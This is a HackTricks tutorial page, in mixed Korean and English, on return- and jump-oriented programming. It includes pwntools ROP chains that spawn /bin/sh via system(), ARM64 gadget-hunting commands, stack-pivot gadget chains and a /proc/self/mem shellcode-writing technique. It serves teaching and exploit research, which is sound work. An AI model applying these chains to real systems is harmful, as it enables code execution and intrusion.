ROP & JOP

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Return-Oriented Programming (ROP)No-Execute (NX) 또는 Data Execution Prevention (DEP) 같은 보안 대책을 우회하기 위해 사용되는 고급 익스플로잇 기법입니다. shellcode를 주입해 실행하는 대신, 공격자는 바이너리나 로드된 라이브러리에 이미 존재하는 코드 조각인 “gadgets“를 이용합니다. 각 gadget은 보통 ret 명령으로 끝나며, 레지스터 간 데이터 이동이나 산술 연산 같은 작은 작업을 수행합니다. 이러한 gadgets를 연결(chain)하면 공격자는 임의의 작업을 수행하는 payload를 구성해 NX/DEP 보호를 효과적으로 우회할 수 있습니다.

ROP가 작동하는 방식

  1. Control Flow Hijacking: 먼저, 공격자는 일반적으로 버퍼 오버플로우를 이용해 스택의 저장된 반환 주소를 덮어쓰는 방식으로 프로그램의 제어 흐름을 탈취해야 합니다.
  2. Gadget Chaining: 공격자는 원하는 동작을 수행하도록 gadgets를 신중하게 선택하고 연결합니다. 여기에는 함수 호출을 위한 인자 설정, 함수 호출(예: system("/bin/sh")), 필요 시 정리나 추가 작업 처리가 포함될 수 있습니다.
  3. Payload Execution: 취약한 함수가 반환될 때, 정당한 위치로 복귀하는 대신 gadgets 체인을 실행하기 시작합니다.

도구

일반적으로 gadgets는 ROPgadget, ropper 또는 pwntools(ROP)에서 찾을 수 있습니다.

x86 예제에서의 ROP 체인

x86 (32-bit) 호출 규약

  • cdecl: 호출자(caller)가 스택을 정리합니다. 함수 인자들은 역순(오른쪽에서 왼쪽)으로 스택에 푸시됩니다. 인자들은 오른쪽에서 왼쪽 순서로 스택에 푸시됩니다.
  • stdcall: cdecl과 유사하지만, 호출된 함수(callee)가 스택 정리를 담당합니다.

Gadgets 찾기

우선, 바이너리나 로드된 라이브러리 내에서 필요한 gadgets를 확인했다고 가정합니다. 관심 있는 gadgets는 다음과 같습니다:

  • pop eax; ret: 이 gadget은 스택 최상단 값을 EAX 레지스터로 pop 한 뒤 반환하여 EAX를 제어할 수 있게 합니다.
  • pop ebx; ret: 위와 유사하지만 EBX 레지스터를 제어할 수 있게 합니다.
  • mov [ebx], eax; ret: EAX에 있는 값을 EBX가 가리키는 메모리 위치에 저장한 뒤 반환합니다. 이는 흔히 write-what-where gadget이라고 불립니다.
  • 추가로, system() 함수의 주소를 가지고 있습니다.

ROP 체인

pwntools를 사용하여 ROP 체인 실행을 위해 스택을 다음과 같이 준비합니다. 목표는 system('/bin/sh')를 실행하는 것이며, 체인이 어떻게 시작하는지 주목하세요:

  1. 정렬(alignment)을 위한 ret 명령(선택사항)
  2. system 함수의 주소(ASLR 비활성화 및 알려진 libc를 가정, 자세한 내용은 Ret2lib 참조)
  3. system() 호출로부터의 복귀 주소를 위한 플레이스홀더
  4. "/bin/sh" 문자열의 주소 (system 함수의 인자)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 예제

x64 (64-bit) Calling conventions

  • Unix 계열 시스템에서는 System V AMD64 ABI 호출 규약을 사용하며, 처음 여섯 개의 정수 또는 포인터 인자는 레지스터 RDI, RSI, RDX, RCX, R8, 및 R9에 전달됩니다. 추가 인자는 스택에 전달됩니다. 반환값은 RAX에 놓입니다.
  • Windows x64 호출 규약은 처음 네 개의 정수 또는 포인터 인자에 RCX, RDX, R8, 및 R9를 사용하며, 추가 인자는 스택에 전달됩니다. 반환값은 RAX에 놓입니다.
  • Registers: 64-bit 레지스터에는 RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, 그리고 R8부터 R15까지가 포함됩니다.

Finding Gadgets

실습에서는 RDI 레지스터를 설정하여 “/bin/sh” 문자열을 **system()**의 인자로 전달한 다음 **system()**을 호출할 수 있는 gadgets에 집중하겠습니다. 다음 가젯을 찾았다고 가정합니다:

  • pop rdi; ret: 스택 최상위 값을 RDI로 꺼낸 다음 반환합니다. **system()**의 인자를 설정하는 데 필수적입니다.
  • ret: 단순 반환으로, 일부 시나리오에서 스택 정렬에 유용합니다.

그리고 우리는 system() 함수의 주소를 알고 있습니다.

ROP Chain

아래는 pwntools를 사용해 x64에서 **system(‘/bin/sh’)**을 실행하기 위해 ROP chain을 설정하고 실행하는 예제입니다:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

In this example:

  • We utilize the pop rdi; ret gadget to set RDI to the address of "/bin/sh".
  • We directly jump to system() after setting RDI, with system()’s address in the chain.
  • ret_gadget is used for alignment if the target environment requires it, which is more common in x64 to ensure proper stack alignment before calling functions.

Stack Alignment

The x86-64 ABI ensures that the stack is 16-byte aligned when a call instruction is executed. LIBC, to optimize performance, uses SSE instructions (like movaps) which require this alignment. If the stack isn’t aligned properly (meaning RSP isn’t a multiple of 16), calls to functions like system will fail in a ROP chain. To fix this, simply add a ret gadget before calling system in your ROP chain.

x86 vs x64 main difference

Tip

Since x64 uses registers for the first few arguments, it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in x64 architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).

ROP chain in ARM64

Regarding ARM64 Basics & Calling conventions, check the following page for this information:

Introduction to ARM64v8

[!DANGER] It’s important to notice taht when jumping to a function using a ROP in ARM64 you should jump to the 2nd instruction of the funciton (at least) to prevent storing in the stack the current stack pointer and end up in an eternal loop calling the funciton once and again.

Finding gadgets in system Dylds

The system libraries comes compiled in one single file called dyld_shared_cache_arm64. This file contains all the system libraries in a compressed format. To download this file from the mobile device you can do:

scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect

그런 다음, dyld_shared_cache_arm64 파일에서 실제 라이브러리를 추출하기 위해 다음 도구들을 사용할 수 있습니다:

brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted

이제, 익스플로잇하고 있는 binary에서 흥미로운 gadgets를 찾기 위해서는 먼저 binary에 로드된 라이브러리들이 무엇인지 알아야 합니다. 이를 위해 lldb* 를 사용할 수 있습니다:

lldb ./vuln
br s -n main
run
image list

마지막으로, 관심 있는 라이브러리에서 gadgets를 찾기 위해 Ropper를 사용할 수 있습니다:

# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"

JOP - Jump Oriented Programming

JOP은 ROP과 유사한 기법이지만, 각 gadget은 끝에서 RET instruction을 사용하는 대신 점프 주소를 사용합니다. 이는 적절한 gadgets가 없어 ROP가 불가능한 상황에서 특히 유용할 수 있습니다. 이는 ret instruction이 x86/x64 아키텍처만큼 일반적으로 사용되지 않는 ARM 아키텍처에서 흔히 사용됩니다.

예를 들어 JOP gadgets를 찾기 위해 rop 도구를 사용할 수도 있습니다:

cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0

예제를 보자:

  • 호출될 heap에 저장된 heap overflow that allows us to overwrite a function pointer가 있다.
  • **x0**는 우리가 일부 공간을 제어하는 heap를 가리키고 있다
  • 로드된 system libraries에서 다음 gadgets를 찾을 수 있다:
0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
  • 첫 번째 gadget을 사용해 **x0**에 heap에 저장된 **/bin/sh**의 포인터를 로드하고, 그 다음 **x0 + 0x30**에서 **x2**에 **system**의 주소를 로드한 뒤 점프할 수 있습니다.

Stack Pivot

Stack pivoting은 exploitation에서 스택 포인터 (RSP in x64, SP in ARM64)를 변경하여 공격자가 제어하는 메모리 영역(예: heap 또는 스택의 버퍼)을 가리키게 하는 기술로, 공격자가 자신의 payload(보통 ROP/JOP chain)를 배치할 수 있게 합니다.

Examples of Stack Pivoting chains:

  • 예: 단 하나의 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.

0000001c61a9b9c:
ldr x16, [x0, #0xf8];    // Control x16
ldr x30, [x0, #0x100];   // Control x30
ldp x0, x1, [x0];        // Control x1
mov sp, x16;             // Control sp
ret;                     // ret will jump to x30, which we control

To use this gadget you could use in the heap something like:
<address of x0 to keep x0>     # ldp x0, x1, [x0]
<address of gadget>            # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16)           # Fill until x0+0xf8
<address x0+16>                # Lets point SP to x0+16 to control the stack
<next gadget>                  # This will go into x30, which will be called with ret (so add of 2nd gadget)
  • 예제: 여러 gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp     x29, x30, [sp], #0x10     // restore FP/LR
autiasp                          // **PAC check on LR**
retab                            // **PAC-aware return**

// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov     sp, x29                  // **pivot candidate**
ret

// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp     x0, x1, [sp], #0x10      // consume args from "new" stack
ret
G1:
stp x8, x1, [sp]  // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0]      // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8            // Branch to the address in x8 (controlled by attacker)

G2:
ldp x29, x30, [sp], #0x10  // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29       // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret

/proc/self/mem을 이용한 Shellcode (임베디드 Linux)

이미 ROP chain을 가지고 있지만 RWX mappings이 없는 경우, 대안으로는 현재 프로세스에 /proc/self/mem을 사용해 shellcode를 기록하는 것이 있고, 그 위치로 점프하는 것입니다. 이는 기본 설정에서 /proc/self/mem이 실행 가능한 세그먼트의 쓰기 보호를 무시할 수 있는 임베디드 Linux 대상에서 일반적입니다.

전형적인 체인 구성:

fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET);   // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)();         // ARM Thumb: jump to target_addr | 1

If preserving fd is hard, calling open() multiple times can make it feasible to guess the descriptor used for /proc/self/mem. On ARM Thumb targets, remember to set the low bit when branching (addr | 1).

ROP 및 JOP에 대한 보호

  • ASLR & PIE: 이러한 보호는 가젯의 주소가 실행마다 변경되므로 ROP 사용을 더 어렵게 만듭니다.
  • Stack Canaries: BOF의 경우 ROP 체인을 악용하기 위해 리턴 포인터를 덮어쓰려면 저장된 스택 카나리를 우회해야 합니다.
  • Lack of Gadgets: gadgets가 충분하지 않으면 ROP 체인을 생성할 수 없습니다.

ROP 기반 기술

Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:

  • Ret2lib: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like system('/bin/sh').

Ret2lib

  • Ret2Syscall: Use ROP to prepare a call to a syscall, e.g. execve, and make it execute arbitrary commands.

Ret2syscall

  • EBP2Ret & EBP Chaining: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t’s also needed to control EIP).

Stack Pivoting

기타 예제 및 참고자료

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기